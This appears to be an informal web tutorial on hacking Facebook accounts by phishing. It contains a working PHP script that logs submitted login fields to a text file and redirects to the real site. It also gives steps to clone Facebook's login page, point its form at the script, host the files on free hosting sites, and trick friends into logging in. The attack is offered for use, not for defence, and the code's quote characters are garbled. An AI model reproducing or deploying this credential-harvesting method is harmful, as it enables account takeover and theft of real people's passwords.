There are various methods to hack the Facebook account. I have not listed all here but I have described very popular method to hack Facebook account password by anyone called Phishing.
For this We need three files:
Follow There Steps :
1) Php file
2) Fake facebook login page
3) Text file to store password
1) Create your php file
Open notepad and copy this code:
header (?Location: https://login.facebook.com/login.php?);
$handle = fopen(?password.txt?, ?a?);
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, ?=?);
fwrite($handle, $value);
fwrite($handle, ?\r\n?);
}
fwrite($ handle, ?\r\n?);
fclose($handle) ;
exit;
?>
Now save this file as phishing.php or file_name.php
Your php file is now created
If you Don't understand what this php file is doing you need to learn some basic of php.This php file will save information of victim in file password.txt
2) Create Facebook fake login page
Now go to facebook login page and right click > View Source.Copy source in notepad and save it as facebooklogin .html .
Now open source code of this HTML file We need to find the place where Login code in facebook page that where send the user after clicking on it.
Now Press crtl + f after opening source code and search for this code
action=anything
In this case we have like this
action=?https://login.facebook.com/login.php??
We replace that part with:
action=?phishing.php?
Save your facebook.html file
3) Text file :
Create a blank text file and name it password.txt
Now upload all the three files Facebooklogin.html, phishing.php,Password.txt in any free web hosting site directory like 000webhost.com.com and now you can just check your fake facebook login page by going to http://yoursite.000webhost.com/Facebook.html for the fake login page. Just type some random user name and any password into the text box and then you will see in your file manager that a file called ?Password.txt? is created,In which the password is stored.
You can use
http://www.justfree.com/
http://www.ripway.com/
http://www.my3gb.com/
also or any other free hosting site.
Suppose you register with name facebookhack .Your link will be http://www.facebookhack.justfree.com/
After uploading files your phishing link will be
http://www.facebookhack.justfree.com/facebook.html
Send this link to your friend if they login there their password will be save at the server .
You can trick your friend to login this fake facebook page.
Enjoy ..:)